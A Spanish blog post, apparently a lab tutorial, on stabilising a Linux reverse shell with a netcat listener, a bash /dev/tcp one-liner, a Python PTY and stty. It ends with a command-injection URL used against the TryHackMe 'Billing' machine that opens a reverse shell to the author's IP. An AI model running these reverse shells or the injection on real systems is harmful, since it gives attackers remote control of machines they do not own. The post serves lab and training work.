Cómo Estabilizar una Reverse Shell en Linux

Cuando obtienes una reverse shell en una máquina remota, es común que tengas una consola o shell limitada, sin autocompletado, sin flechas y con errores visuales.

En este post quiero dejar explicado cómo convertir esa shell básica en una mucho más usable e interactiva, con unos pocos comandos.

¿Qué es una reverse shell?

Una reverse shell es una conexión remota donde la máquina víctima se conecta a tu máquina atacante, permitiéndote controlar el sistema desde la terminal.

Sin embargo, muchas veces esa conexión es rudimentaria y necesita estabilización para trabajar cómodamente.

Pasos para estabilizar una reverse shell

1. Obtener la shell

Ejemplo de reverse shell con netcat:

nc -lvnp 4444

Y desde la máquina víctima (por ejemplo vía curl o navegador):

bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'

2. Mejorar la shell con una PTY

Una vez dentro de la máquina víctima, escribe:

python3 -c 'import pty; pty.spawn("/bin/bash");'

💡 Esto hace que la shell se comporte más como una terminal real: podrás usar tab, clear, flechas, etc.

3. Configurar el tipo de terminal

Establece el tipo de terminal:

export TERM=xterm

Esto es útil para que ciertas herramientas como nano, less, o htop funcionen correctamente.

4. Estabilizar entrada/salida

Presiona Ctrl + Z para suspender la sesión y volver a tu terminal local.

stty raw -echo
fg

✔️ Esto hace que recuperes la shell en modo interactivo, sin errores de redirección.

Con esto ya quedaría estabilizada la shell.

Aquí dejo un ejemplo de estabilización de la shell haciendo un RCE para la máquina Billing de Try Hack Me que tuve que ejecutar para llegar a la user flag y después escalar a root:

http://10.10.99.233/mbilling/lib/icepay/icepay.php?democ=/dev/null;bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.8.20.159/4444%200%3E%261%27

Otros posts relacionados